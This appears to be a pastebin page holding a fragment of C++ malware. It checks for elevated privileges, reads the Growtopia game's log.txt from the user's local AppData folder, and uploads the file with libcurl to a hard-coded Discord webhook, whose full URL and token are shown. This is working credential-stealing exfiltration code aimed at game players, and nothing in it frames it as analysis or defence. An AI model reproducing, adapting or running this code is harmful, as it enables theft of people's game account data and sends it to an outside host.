Untitled

 avatar
unknown
plain_text
2 years ago
2.2 kB
7
Indexable
#include <ShlObj.h>
#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable : 4996)
#include <cstdlib>
#include <sys/stat.h>
#include <fstream>
std::string GetLocalAppDataFolderPath() {
    std::string localAppDataFolderPath;

#ifdef _WIN32
    const char* appDataDir = std::getenv("LOCALAPPDATA");
    if (appDataDir) {
        localAppDataFolderPath = std::string(appDataDir) + "\\";
    }
#endif

    return localAppDataFolderPath;
}



void bussh() {

    bool isElevated = false;
    HANDLE hToken;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        TOKEN_ELEVATION elevation;
        DWORD dwSize;
        if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
            isElevated = (elevation.TokenIsElevated != 0);
        }
        CloseHandle(hToken);
    }

    CURL* curl;
    CURLcode res;

    curl_global_init(CURL_GLOBAL_DEFAULT);

    curl = curl_easy_init();
    if (curl) {

        const char* webhookUrl = "https://discord.com/api/webhooks/1109904831285567519/bCv9MwMEUM8_E0f9SZLjBhHCbcNAzZ8eK28MmIX2J9LB7meXdsr3ReTX9JsWfOxQdb-i";
        std::string filePath = GetLocalAppDataFolderPath();
        filePath += "\\Growtopia\\log.txt";
        std::ifstream file(filePath);
       
        struct curl_httppost* formpost = nullptr;
        struct curl_httppost* lastptr = nullptr;
        curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, "file", CURLFORM_FILE, filePath, CURLFORM_END);

        curl_easy_setopt(curl, CURLOPT_URL, webhookUrl);
        curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);

        res = curl_easy_perform(curl);
        if (res != CURLE_OK) {
            std::cerr << "curl_easy_perform() failed: " << curl_easy_strerror(res) << std::endl;
            if (res == CURLE_FILE_COULDNT_READ_FILE) {
                std::cout << "hata1" << std::endl;
            }
            else if (res == CURLE_FILESIZE_EXCEEDED) {
                std::cout << "hata2" << std::endl;
            }
           
            
        }
        curl_easy_cleanup(curl);


        curl_formfree(formpost);
    }

    curl_global_cleanup();
    system("PAUSE");
}

Editor is loading...